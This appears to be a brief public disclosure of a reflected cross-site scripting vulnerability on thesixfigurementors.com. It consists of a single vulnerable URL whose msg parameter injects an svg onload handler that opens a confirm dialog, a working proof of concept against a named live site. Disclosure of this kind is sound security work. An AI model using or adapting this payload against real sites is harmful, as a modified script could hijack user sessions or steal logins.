thesixfigurementors.com XSS vulnerability

Vulnerable URL: https://thesixfigurementors.com/evpsfm/signin.php?msg=restricted=aHR0cHM6Ly90aGVzaXhmaWd1cmVtZW50b3JzLmNvbS9ldnBfc2ZtL2FjY291bnQvZmlsZXNfcHJldmlldy5waHA%252FaWQ9ZEdobExXUnBaMmwwWVd3dFpXTnZibTl0ZVMweUxtMXdOQSUzRCUzRCZwcm9maWxlPWJvb3RjYW1w%22%3E%3Csvg/onload=confirm%28/xssposed/%29/...